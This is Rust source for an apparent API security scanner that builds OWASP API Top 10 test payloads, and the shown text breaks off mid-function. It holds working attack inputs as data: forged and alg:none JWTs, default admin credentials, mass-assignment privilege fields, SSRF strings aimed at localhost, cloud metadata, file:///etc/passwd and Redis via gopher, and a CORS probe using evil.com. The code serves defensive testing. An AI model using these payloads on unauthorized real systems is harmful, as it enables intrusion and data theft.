Skip to main content

mockforge_bench/owasp_api/
payloads.rs

1//! OWASP API Security Top 10 Payload Generators
2//!
3//! This module provides payload generators for each OWASP API category,
4//! creating targeted attack patterns for security testing.
5
6use super::categories::OwaspCategory;
7use super::config::OwaspApiConfig;
8use serde::{Deserialize, Serialize};
9
10/// A payload for OWASP API security testing
11#[derive(Debug, Clone, Serialize, Deserialize)]
12pub struct OwaspPayload {
13    /// The OWASP category this payload tests
14    pub category: OwaspCategory,
15    /// Description of what this payload tests
16    pub description: String,
17    /// The actual payload value
18    pub value: String,
19    /// Where to inject the payload
20    pub injection_point: InjectionPoint,
21    /// Expected behavior if vulnerable
22    pub expected_if_vulnerable: ExpectedBehavior,
23    /// Additional context or notes
24    #[serde(default)]
25    pub notes: Option<String>,
26}
27
28/// Where to inject the payload
29#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
30#[serde(rename_all = "snake_case")]
31pub enum InjectionPoint {
32    /// In URL path parameters (e.g., /users/{id})
33    PathParam,
34    /// In URL query parameters (e.g., ?id=123)
35    QueryParam,
36    /// In request body (JSON field)
37    Body,
38    /// In HTTP header
39    Header,
40    /// Remove or omit (e.g., remove auth header)
41    Omit,
42    /// Modify existing value
43    Modify,
44}
45
46/// Expected behavior if the target is vulnerable
47#[derive(Debug, Clone, Serialize, Deserialize)]
48#[serde(rename_all = "snake_case")]
49pub enum ExpectedBehavior {
50    /// Expect success (2xx) when it should fail
51    SuccessWhenShouldFail,
52    /// Expect access to other user's data
53    UnauthorizedDataAccess,
54    /// Expect field to be accepted and persisted
55    FieldAccepted,
56    /// Expect no rate limiting
57    NoRateLimiting,
58    /// Expect internal data exposure
59    InternalDataExposure,
60    /// Expect endpoint to exist (non-404)
61    EndpointExists,
62    /// Expect missing security headers
63    MissingSecurityHeaders,
64    /// Expect verbose error information
65    VerboseErrors,
66    /// Custom expected behavior
67    Custom(String),
68}
69
70/// Generator for OWASP API security payloads
71pub struct OwaspPayloadGenerator {
72    config: OwaspApiConfig,
73}
74
75impl OwaspPayloadGenerator {
76    /// Create a new payload generator with configuration
77    pub fn new(config: OwaspApiConfig) -> Self {
78        Self { config }
79    }
80
81    /// Generate all payloads for enabled categories
82    pub fn generate_all(&self) -> Vec<OwaspPayload> {
83        let mut payloads = Vec::new();
84
85        for category in self.config.categories_to_test() {
86            payloads.extend(self.generate_for_category(category));
87        }
88
89        payloads
90    }
91
92    /// Generate payloads for a specific category
93    pub fn generate_for_category(&self, category: OwaspCategory) -> Vec<OwaspPayload> {
94        match category {
95            OwaspCategory::Api1Bola => self.generate_bola_payloads(),
96            OwaspCategory::Api2BrokenAuth => self.generate_auth_payloads(),
97            OwaspCategory::Api3BrokenObjectProperty => self.generate_property_payloads(),
98            OwaspCategory::Api4ResourceConsumption => self.generate_resource_payloads(),
99            OwaspCategory::Api5BrokenFunctionAuth => self.generate_function_auth_payloads(),
100            OwaspCategory::Api6SensitiveFlows => self.generate_flow_payloads(),
101            OwaspCategory::Api7Ssrf => self.generate_ssrf_payloads(),
102            OwaspCategory::Api8Misconfiguration => self.generate_misconfig_payloads(),
103            OwaspCategory::Api9ImproperInventory => self.generate_discovery_payloads(),
104            OwaspCategory::Api10UnsafeConsumption => self.generate_unsafe_consumption_payloads(),
105        }
106    }
107
108    /// API1: Broken Object Level Authorization (BOLA) payloads
109    fn generate_bola_payloads(&self) -> Vec<OwaspPayload> {
110        vec![
111            // Numeric ID manipulation
112            OwaspPayload {
113                category: OwaspCategory::Api1Bola,
114                description: "ID increment by 1".to_string(),
115                value: "{{original_id + 1}}".to_string(),
116                injection_point: InjectionPoint::PathParam,
117                expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
118                notes: Some("Replace ID with ID+1 to access other user's resource".to_string()),
119            },
120            OwaspPayload {
121                category: OwaspCategory::Api1Bola,
122                description: "ID decrement by 1".to_string(),
123                value: "{{original_id - 1}}".to_string(),
124                injection_point: InjectionPoint::PathParam,
125                expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
126                notes: Some("Replace ID with ID-1 to access other user's resource".to_string()),
127            },
128            OwaspPayload {
129                category: OwaspCategory::Api1Bola,
130                description: "First user ID (0)".to_string(),
131                value: "0".to_string(),
132                injection_point: InjectionPoint::PathParam,
133                expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
134                notes: Some("Try accessing resource with ID 0".to_string()),
135            },
136            OwaspPayload {
137                category: OwaspCategory::Api1Bola,
138                description: "First user ID (1)".to_string(),
139                value: "1".to_string(),
140                injection_point: InjectionPoint::PathParam,
141                expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
142                notes: Some("Try accessing resource with ID 1 (often admin)".to_string()),
143            },
144            OwaspPayload {
145                category: OwaspCategory::Api1Bola,
146                description: "Negative ID".to_string(),
147                value: "-1".to_string(),
148                injection_point: InjectionPoint::PathParam,
149                expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
150                notes: Some("Try accessing resource with negative ID".to_string()),
151            },
152            OwaspPayload {
153                category: OwaspCategory::Api1Bola,
154                description: "Large ID".to_string(),
155                value: "999999999".to_string(),
156                injection_point: InjectionPoint::PathParam,
157                expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
158                notes: None,
159            },
160            // UUID manipulation
161            OwaspPayload {
162                category: OwaspCategory::Api1Bola,
163                description: "Null UUID".to_string(),
164                value: "00000000-0000-0000-0000-000000000000".to_string(),
165                injection_point: InjectionPoint::PathParam,
166                expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
167                notes: Some("Try null UUID which may match admin or default resource".to_string()),
168            },
169            OwaspPayload {
170                category: OwaspCategory::Api1Bola,
171                description: "All-ones UUID".to_string(),
172                value: "ffffffff-ffff-ffff-ffff-ffffffffffff".to_string(),
173                injection_point: InjectionPoint::PathParam,
174                expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
175                notes: None,
176            },
177            // Query parameter ID manipulation
178            OwaspPayload {
179                category: OwaspCategory::Api1Bola,
180                description: "User ID in query parameter".to_string(),
181                value: "user_id=1".to_string(),
182                injection_point: InjectionPoint::QueryParam,
183                expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
184                notes: Some("Override user context via query parameter".to_string()),
185            },
186            OwaspPayload {
187                category: OwaspCategory::Api1Bola,
188                description: "Account ID in query parameter".to_string(),
189                value: "account_id=1".to_string(),
190                injection_point: InjectionPoint::QueryParam,
191                expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
192                notes: None,
193            },
194        ]
195    }
196
197    /// API2: Broken Authentication payloads
198    fn generate_auth_payloads(&self) -> Vec<OwaspPayload> {
199        vec![
200            // Missing authentication
201            OwaspPayload {
202                category: OwaspCategory::Api2BrokenAuth,
203                description: "No Authorization header".to_string(),
204                value: "".to_string(),
205                injection_point: InjectionPoint::Omit,
206                expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
207                notes: Some("Remove Authorization header entirely".to_string()),
208            },
209            OwaspPayload {
210                category: OwaspCategory::Api2BrokenAuth,
211                description: "Empty Bearer token".to_string(),
212                value: "Bearer ".to_string(),
213                injection_point: InjectionPoint::Header,
214                expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
215                notes: Some("Send Bearer prefix with no token".to_string()),
216            },
217            OwaspPayload {
218                category: OwaspCategory::Api2BrokenAuth,
219                description: "Invalid token (garbage)".to_string(),
220                value: "Bearer invalidtoken123".to_string(),
221                injection_point: InjectionPoint::Header,
222                expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
223                notes: None,
224            },
225            // JWT manipulation
226            OwaspPayload {
227                category: OwaspCategory::Api2BrokenAuth,
228                description: "JWT alg:none attack".to_string(),
229                value: "Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.".to_string(),
230                injection_point: InjectionPoint::Header,
231                expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
232                notes: Some("JWT with algorithm set to 'none'".to_string()),
233            },
234            OwaspPayload {
235                category: OwaspCategory::Api2BrokenAuth,
236                description: "JWT with admin claim".to_string(),
237                value: "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.stub".to_string(),
238                injection_point: InjectionPoint::Header,
239                expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
240                notes: Some("JWT with role:admin claim (unsigned)".to_string()),
241            },
242            OwaspPayload {
243                category: OwaspCategory::Api2BrokenAuth,
244                description: "Expired JWT".to_string(),
245                value: "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwiZXhwIjoxMDAwMDAwMDAwfQ.stub".to_string(),
246                injection_point: InjectionPoint::Header,
247                expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
248                notes: Some("JWT with expired timestamp".to_string()),
249            },
250            // Basic auth attacks
251            OwaspPayload {
252                category: OwaspCategory::Api2BrokenAuth,
253                description: "Basic auth with admin:admin".to_string(),
254                value: "Basic YWRtaW46YWRtaW4=".to_string(), // admin:admin
255                injection_point: InjectionPoint::Header,
256                expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
257                notes: Some("Common default credentials".to_string()),
258            },
259            OwaspPayload {
260                category: OwaspCategory::Api2BrokenAuth,
261                description: "Basic auth with admin:password".to_string(),
262                value: "Basic YWRtaW46cGFzc3dvcmQ=".to_string(), // admin:password
263                injection_point: InjectionPoint::Header,
264                expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
265                notes: None,
266            },
267            // API key attacks
268            OwaspPayload {
269                category: OwaspCategory::Api2BrokenAuth,
270                description: "Empty API key".to_string(),
271                value: "".to_string(),
272                injection_point: InjectionPoint::Header,
273                expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
274                notes: Some("X-API-Key header with empty value".to_string()),
275            },
276            OwaspPayload {
277                category: OwaspCategory::Api2BrokenAuth,
278                description: "Test API key".to_string(),
279                value: "test".to_string(),
280                injection_point: InjectionPoint::Header,
281                expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
282                notes: Some("Common test/development API key".to_string()),
283            },
284        ]
285    }
286
287    /// API3: Broken Object Property Level Authorization (Mass Assignment)
288    fn generate_property_payloads(&self) -> Vec<OwaspPayload> {
289        vec![
290            // Role/privilege escalation
291            OwaspPayload {
292                category: OwaspCategory::Api3BrokenObjectProperty,
293                description: "Add admin role".to_string(),
294                value: r#"{"role": "admin"}"#.to_string(),
295                injection_point: InjectionPoint::Body,
296                expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
297                notes: Some("Mass assignment of admin role".to_string()),
298            },
299            OwaspPayload {
300                category: OwaspCategory::Api3BrokenObjectProperty,
301                description: "Set is_admin flag".to_string(),
302                value: r#"{"is_admin": true}"#.to_string(),
303                injection_point: InjectionPoint::Body,
304                expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
305                notes: None,
306            },
307            OwaspPayload {
308                category: OwaspCategory::Api3BrokenObjectProperty,
309                description: "Set isAdmin flag".to_string(),
310                value: r#"{"isAdmin": true}"#.to_string(),
311                injection_point: InjectionPoint::Body,
312                expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
313                notes: None,
314            },
315            OwaspPayload {
316                category: OwaspCategory::Api3BrokenObjectProperty,
317                description: "Set permissions array".to_string(),
318                value: r#"{"permissions": ["admin", "write", "delete"]}"#.to_string(),
319                injection_point: InjectionPoint::Body,
320                expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
321                notes: None,
322            },
323            // Verification bypass
324            OwaspPayload {
325                category: OwaspCategory::Api3BrokenObjectProperty,
326                description: "Set verified flag".to_string(),
327                value: r#"{"verified": true}"#.to_string(),
328                injection_point: InjectionPoint::Body,
329                expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
330                notes: None,
331            },
332            OwaspPayload {
333                category: OwaspCategory::Api3BrokenObjectProperty,
334                description: "Set email_verified flag".to_string(),
335                value: r#"{"email_verified": true}"#.to_string(),
336                injection_point: InjectionPoint::Body,
337                expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
338                notes: None,
339            },
340            // Financial manipulation
341            OwaspPayload {
342                category: OwaspCategory::Api3BrokenObjectProperty,
343                description: "Modify balance".to_string(),
344                value: r#"{"balance": 999999}"#.to_string(),
345                injection_point: InjectionPoint::Body,
346                expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
347                notes: Some("Mass assignment of account balance".to_string()),
348            },
349            OwaspPayload {
350                category: OwaspCategory::Api3BrokenObjectProperty,
351                description: "Modify credits".to_string(),
352                value: r#"{"credits": 999999}"#.to_string(),
353                injection_point: InjectionPoint::Body,
354                expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
355                notes: None,
356            },
357            OwaspPayload {
358                category: OwaspCategory::Api3BrokenObjectProperty,
359                description: "Set price to zero".to_string(),
360                value: r#"{"price": 0}"#.to_string(),
361                injection_point: InjectionPoint::Body,
362                expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
363                notes: None,
364            },
365            // Password/credential modification
366            OwaspPayload {
367                category: OwaspCategory::Api3BrokenObjectProperty,
368                description: "Set password directly".to_string(),
369                value: r#"{"password": "newpassword123"}"#.to_string(),
370                injection_point: InjectionPoint::Body,
371                expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
372                notes: Some("Direct password field assignment".to_string()),
373            },
374            OwaspPayload {
375                category: OwaspCategory::Api3BrokenObjectProperty,
376                description: "Set password_hash".to_string(),
377                value: r#"{"password_hash": "$2a$10$attackerhash"}"#.to_string(),
378                injection_point: InjectionPoint::Body,
379                expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
380                notes: None,
381            },
382            // Internal fields
383            OwaspPayload {
384                category: OwaspCategory::Api3BrokenObjectProperty,
385                description: "Modify user_id".to_string(),
386                value: r#"{"user_id": 1}"#.to_string(),
387                injection_point: InjectionPoint::Body,
388                expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
389                notes: Some("Reassign resource to different user".to_string()),
390            },
391            OwaspPayload {
392                category: OwaspCategory::Api3BrokenObjectProperty,
393                description: "Modify created_at".to_string(),
394                value: r#"{"created_at": "2020-01-01T00:00:00Z"}"#.to_string(),
395                injection_point: InjectionPoint::Body,
396                expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
397                notes: Some("Modify internal timestamp".to_string()),
398            },
399        ]
400    }
401
402    /// API4: Unrestricted Resource Consumption payloads
403    fn generate_resource_payloads(&self) -> Vec<OwaspPayload> {
404        vec![
405            // Pagination abuse
406            OwaspPayload {
407                category: OwaspCategory::Api4ResourceConsumption,
408                description: "Excessive page limit".to_string(),
409                value: "limit=100000".to_string(),
410                injection_point: InjectionPoint::QueryParam,
411                expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
412                notes: Some("Request excessive records per page".to_string()),
413            },
414            OwaspPayload {
415                category: OwaspCategory::Api4ResourceConsumption,
416                description: "Alternative limit parameter".to_string(),
417                value: "per_page=100000".to_string(),
418                injection_point: InjectionPoint::QueryParam,
419                expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
420                notes: None,
421            },
422            OwaspPayload {
423                category: OwaspCategory::Api4ResourceConsumption,
424                description: "Page size abuse".to_string(),
425                value: "page_size=100000".to_string(),
426                injection_point: InjectionPoint::QueryParam,
427                expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
428                notes: None,
429            },
430            OwaspPayload {
431                category: OwaspCategory::Api4ResourceConsumption,
432                description: "Size parameter".to_string(),
433                value: "size=100000".to_string(),
434                injection_point: InjectionPoint::QueryParam,
435                expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
436                notes: None,
437            },
438            // Negative pagination
439            OwaspPayload {
440                category: OwaspCategory::Api4ResourceConsumption,
441                description: "Negative limit".to_string(),
442                value: "limit=-1".to_string(),
443                injection_point: InjectionPoint::QueryParam,
444                expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
445                notes: Some("Negative limit may return all records".to_string()),
446            },
447            // Deeply nested JSON
448            OwaspPayload {
449                category: OwaspCategory::Api4ResourceConsumption,
450                description: "Deeply nested JSON".to_string(),
451                value: Self::generate_deep_json(100),
452                injection_point: InjectionPoint::Body,
453                expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
454                notes: Some("100 levels of nesting".to_string()),
455            },
456            // Long string
457            OwaspPayload {
458                category: OwaspCategory::Api4ResourceConsumption,
459                description: "Very long string value".to_string(),
460                value: format!(r#"{{"data": "{}"}}"#, "A".repeat(100_000)),
461                injection_point: InjectionPoint::Body,
462                expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
463                notes: Some("100KB string value".to_string()),
464            },
465            // Array with many elements
466            OwaspPayload {
467                category: OwaspCategory::Api4ResourceConsumption,
468                description: "Large array".to_string(),
469                value: format!(
470                    r#"{{"items": [{}]}}"#,
471                    (0..10000).map(|i| i.to_string()).collect::<Vec<_>>().join(",")
472                ),
473                injection_point: InjectionPoint::Body,
474                expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
475                notes: Some("Array with 10000 elements".to_string()),
476            },
477            // Query expansion
478            OwaspPayload {
479                category: OwaspCategory::Api4ResourceConsumption,
480                description: "Wildcard expansion".to_string(),
481                value: "expand=*".to_string(),
482                injection_point: InjectionPoint::QueryParam,
483                expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
484                notes: Some("Expand all nested resources".to_string()),
485            },
486            OwaspPayload {
487                category: OwaspCategory::Api4ResourceConsumption,
488                description: "Include all relations".to_string(),
489                value: "include=*".to_string(),
490                injection_point: InjectionPoint::QueryParam,
491                expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
492                notes: None,
493            },
494        ]
495    }
496
497    /// API5: Broken Function Level Authorization payloads
498    fn generate_function_auth_payloads(&self) -> Vec<OwaspPayload> {
499        let mut payloads = Vec::new();
500
501        // Add payloads for admin paths
502        for path in self.config.all_admin_paths() {
503            payloads.push(OwaspPayload {
504                category: OwaspCategory::Api5BrokenFunctionAuth,
505                description: format!("Access admin path: {}", path),
506                value: path.to_string(),
507                injection_point: InjectionPoint::PathParam,
508                expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
509                notes: Some("Attempt to access privileged endpoint with regular auth".to_string()),
510            });
511        }
512
513        // Method manipulation
514        payloads.extend(vec![
515            OwaspPayload {
516                category: OwaspCategory::Api5BrokenFunctionAuth,
517                description: "DELETE on read-only resource".to_string(),
518                value: "DELETE".to_string(),
519                injection_point: InjectionPoint::Modify,
520                expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
521                notes: Some("Try DELETE method on supposedly read-only resource".to_string()),
522            },
523            OwaspPayload {
524                category: OwaspCategory::Api5BrokenFunctionAuth,
525                description: "PUT on read-only resource".to_string(),
526                value: "PUT".to_string(),
527                injection_point: InjectionPoint::Modify,
528                expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
529                notes: None,
530            },
531            OwaspPayload {
532                category: OwaspCategory::Api5BrokenFunctionAuth,
533                description: "PATCH on read-only resource".to_string(),
534                value: "PATCH".to_string(),
535                injection_point: InjectionPoint::Modify,
536                expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
537                notes: None,
538            },
539        ]);
540
541        payloads
542    }
543
544    /// API6: Unrestricted Access to Sensitive Business Flows
545    fn generate_flow_payloads(&self) -> Vec<OwaspPayload> {
546        vec![
547            // Rapid request patterns (tested at runtime)
548            OwaspPayload {
549                category: OwaspCategory::Api6SensitiveFlows,
550                description: "Repeated operation (rate test)".to_string(),
551                value: "{{repeat:10}}".to_string(),
552                injection_point: InjectionPoint::Modify,
553                expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
554                notes: Some("Execute same operation 10 times rapidly".to_string()),
555            },
556            // Token reuse
557            OwaspPayload {
558                category: OwaspCategory::Api6SensitiveFlows,
559                description: "Reuse one-time token".to_string(),
560                value: "{{reuse_token}}".to_string(),
561                injection_point: InjectionPoint::Body,
562                expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
563                notes: Some("Attempt to reuse a token that should be single-use".to_string()),
564            },
565            // Step skipping
566            OwaspPayload {
567                category: OwaspCategory::Api6SensitiveFlows,
568                description: "Skip validation step".to_string(),
569                value: "{{skip_step:validation}}".to_string(),
570                injection_point: InjectionPoint::Modify,
571                expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
572                notes: Some("Skip intermediate validation step in multi-step flow".to_string()),
573            },
574            // Negative quantities
575            OwaspPayload {
576                category: OwaspCategory::Api6SensitiveFlows,
577                description: "Negative quantity".to_string(),
578                value: r#"{"quantity": -1}"#.to_string(),
579                injection_point: InjectionPoint::Body,
580                expected_if_vulnerable: ExpectedBehavior::Custom(
581                    "Negative quantity accepted".to_string(),
582                ),
583                notes: Some("Submit negative quantity in purchase/transfer".to_string()),
584            },
585            OwaspPayload {
586                category: OwaspCategory::Api6SensitiveFlows,
587                description: "Zero price".to_string(),
588                value: r#"{"price": 0}"#.to_string(),
589                injection_point: InjectionPoint::Body,
590                expected_if_vulnerable: ExpectedBehavior::Custom("Zero price accepted".to_string()),
591                notes: None,
592            },
593            OwaspPayload {
594                category: OwaspCategory::Api6SensitiveFlows,
595                description: "Negative amount".to_string(),
596                value: r#"{"amount": -100}"#.to_string(),
597                injection_point: InjectionPoint::Body,
598                expected_if_vulnerable: ExpectedBehavior::Custom(
599                    "Negative amount accepted".to_string(),
600                ),
601                notes: Some("Submit negative amount in transfer/payment".to_string()),
602            },
603        ]
604    }
605
606    /// API7: Server Side Request Forgery (SSRF) payloads
607    fn generate_ssrf_payloads(&self) -> Vec<OwaspPayload> {
608        let mut payloads = Vec::new();
609
610        // Internal URLs from config
611        for url in &self.config.ssrf_config.internal_urls {
612            payloads.push(OwaspPayload {
613                category: OwaspCategory::Api7Ssrf,
614                description: format!("Internal URL: {}", url),
615                value: url.clone(),
616                injection_point: InjectionPoint::Body,
617                expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
618                notes: Some("SSRF to internal service".to_string()),
619            });
620        }
621
622        // Cloud metadata URLs
623        for url in &self.config.ssrf_config.metadata_urls {
624            payloads.push(OwaspPayload {
625                category: OwaspCategory::Api7Ssrf,
626                description: format!("Cloud metadata: {}", url),
627                value: url.clone(),
628                injection_point: InjectionPoint::Body,
629                expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
630                notes: Some("SSRF to cloud metadata endpoint".to_string()),
631            });
632        }
633
634        // Additional SSRF bypass techniques
635        payloads.extend(vec![
636            OwaspPayload {
637                category: OwaspCategory::Api7Ssrf,
638                description: "Decimal IP for localhost".to_string(),
639                value: "http://2130706433/".to_string(), // 127.0.0.1 as decimal
640                injection_point: InjectionPoint::Body,
641                expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
642                notes: Some("127.0.0.1 encoded as decimal integer".to_string()),
643            },
644            OwaspPayload {
645                category: OwaspCategory::Api7Ssrf,
646                description: "IPv6 localhost".to_string(),
647                value: "http://[0:0:0:0:0:0:0:1]/".to_string(),
648                injection_point: InjectionPoint::Body,
649                expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
650                notes: None,
651            },
652            OwaspPayload {
653                category: OwaspCategory::Api7Ssrf,
654                description: "Localhost subdomain bypass".to_string(),
655                value: "http://localhost.attacker.com/".to_string(),
656                injection_point: InjectionPoint::Body,
657                expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
658                notes: Some("DNS rebinding via attacker-controlled subdomain".to_string()),
659            },
660            OwaspPayload {
661                category: OwaspCategory::Api7Ssrf,
662                description: "URL with @ bypass".to_string(),
663                value: "http://attacker.com@127.0.0.1/".to_string(),
664                injection_point: InjectionPoint::Body,
665                expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
666                notes: Some("URL parser confusion with @ sign".to_string()),
667            },
668            OwaspPayload {
669                category: OwaspCategory::Api7Ssrf,
670                description: "File protocol".to_string(),
671                value: "file:///etc/passwd".to_string(),
672                injection_point: InjectionPoint::Body,
673                expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
674                notes: Some("File protocol SSRF".to_string()),
675            },
676            OwaspPayload {
677                category: OwaspCategory::Api7Ssrf,
678                description: "Gopher protocol".to_string(),
679                value: "gopher://127.0.0.1:6379/_INFO".to_string(),
680                injection_point: InjectionPoint::Body,
681                expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
682                notes: Some("Gopher protocol to internal Redis".to_string()),
683            },
684        ]);
685
686        payloads
687    }
688
689    /// API8: Security Misconfiguration payloads
690    fn generate_misconfig_payloads(&self) -> Vec<OwaspPayload> {
691        vec![
692            // Security header checks (handled differently - these are response checks)
693            OwaspPayload {
694                category: OwaspCategory::Api8Misconfiguration,
695                description: "Check X-Content-Type-Options header".to_string(),
696                value: "X-Content-Type-Options".to_string(),
697                injection_point: InjectionPoint::Modify,
698                expected_if_vulnerable: ExpectedBehavior::MissingSecurityHeaders,
699                notes: Some("Response should include X-Content-Type-Options: nosniff".to_string()),
700            },
701            OwaspPayload {
702                category: OwaspCategory::Api8Misconfiguration,
703                description: "Check X-Frame-Options header".to_string(),
704                value: "X-Frame-Options".to_string(),
705                injection_point: InjectionPoint::Modify,
706                expected_if_vulnerable: ExpectedBehavior::MissingSecurityHeaders,
707                notes: Some(
708                    "Response should include X-Frame-Options: DENY or SAMEORIGIN".to_string(),
709                ),
710            },
711            OwaspPayload {
712                category: OwaspCategory::Api8Misconfiguration,
713                description: "Check Strict-Transport-Security header".to_string(),
714                value: "Strict-Transport-Security".to_string(),
715                injection_point: InjectionPoint::Modify,
716                expected_if_vulnerable: ExpectedBehavior::MissingSecurityHeaders,
717                notes: Some("HTTPS endpoints should have HSTS header".to_string()),
718            },
719            OwaspPayload {
720                category: OwaspCategory::Api8Misconfiguration,
721                description: "Check Content-Security-Policy header".to_string(),
722                value: "Content-Security-Policy".to_string(),
723                injection_point: InjectionPoint::Modify,
724                expected_if_vulnerable: ExpectedBehavior::MissingSecurityHeaders,
725                notes: None,
726            },
727            // CORS checks
728            OwaspPayload {
729                category: OwaspCategory::Api8Misconfiguration,
730                description: "CORS wildcard check".to_string(),
731                value: "Origin: https://evil.com".to_string(),
732                injection_point: InjectionPoint::Header,
733                expected_if_vulnerable: ExpectedBehavior::Custom(
734                    "ACAO: * or reflecting arbitrary origin".to_string(),
735                ),
736                notes: Some(
737                    "Check if Access-Control-Allow-Origin allows arbitrary origins".to_string(),
738                ),
739            },
740            OwaspPayload {
741                category: OwaspCategory::Api8Misconfiguration,
742                description: "CORS null origin".to_string(),
743                value: "Origin: null".to_string(),
744                injection_point: InjectionPoint::Header,
745                expected_if_vulnerable: ExpectedBehavior::Custom("ACAO: null".to_string()),
746                notes: Some("Check if null origin is reflected".to_string()),
747            },
748            // Error handling
749            OwaspPayload {
750                category: OwaspCategory::Api8Misconfiguration,
751                description: "Trigger verbose error".to_string(),
752                value: r#"{"invalid": "{{INVALID_JSON"#.to_string(),
753                injection_point: InjectionPoint::Body,
754                expected_if_vulnerable: ExpectedBehavior::VerboseErrors,
755                notes: Some("Send malformed JSON to trigger error response".to_string()),
756            },
757            OwaspPayload {
758                category: OwaspCategory::Api8Misconfiguration,
759                description: "SQL syntax error trigger".to_string(),
760                value: "'".to_string(),
761                injection_point: InjectionPoint::QueryParam,
762                expected_if_vulnerable: ExpectedBehavior::VerboseErrors,
763                notes: Some("Check if SQL errors are exposed".to_string()),
764            },
765            // Debug endpoints
766            OwaspPayload {
767                category: OwaspCategory::Api8Misconfiguration,
768                description: "Debug mode check".to_string(),
769                value: "debug=true".to_string(),
770                injection_point: InjectionPoint::QueryParam,
771                expected_if_vulnerable: ExpectedBehavior::Custom("Debug info exposed".to_string()),
772                notes: Some("Check if debug parameter enables additional output".to_string()),
773            },
774            OwaspPayload {
775                category: OwaspCategory::Api8Misconfiguration,
776                description: "Trace mode check".to_string(),
777                value: "trace=1".to_string(),
778                injection_point: InjectionPoint::QueryParam,
779                expected_if_vulnerable: ExpectedBehavior::Custom("Trace info exposed".to_string()),
780                notes: None,
781            },
782        ]
783    }
784
785    /// API9: Improper Inventory Management payloads
786    fn generate_discovery_payloads(&self) -> Vec<OwaspPayload> {
787        let mut payloads = Vec::new();
788
789        // API version discovery
790        for version in &self.config.discovery_config.api_versions {
791            payloads.push(OwaspPayload {
792                category: OwaspCategory::Api9ImproperInventory,
793                description: format!("Discover API version: {}", version),
794                value: format!("/{}/", version),
795                injection_point: InjectionPoint::PathParam,
796                expected_if_vulnerable: ExpectedBehavior::EndpointExists,
797                notes: Some("Check for undocumented API version".to_string()),
798            });
799        }
800
801        // Common discovery paths
802        for path in &self.config.discovery_config.discovery_paths {
803            payloads.push(OwaspPayload {
804                category: OwaspCategory::Api9ImproperInventory,
805                description: format!("Discover endpoint: {}", path),
806                value: path.clone(),
807                injection_point: InjectionPoint::PathParam,
808                expected_if_vulnerable: ExpectedBehavior::EndpointExists,
809                notes: Some("Check for undocumented endpoint".to_string()),
810            });
811        }
812
813        // Legacy/deprecated paths
814        payloads.extend(vec![
815            OwaspPayload {
816                category: OwaspCategory::Api9ImproperInventory,
817                description: "Old API prefix".to_string(),
818                value: "/old/".to_string(),
819                injection_point: InjectionPoint::PathParam,
820                expected_if_vulnerable: ExpectedBehavior::EndpointExists,
821                notes: None,
822            },
823            OwaspPayload {
824                category: OwaspCategory::Api9ImproperInventory,
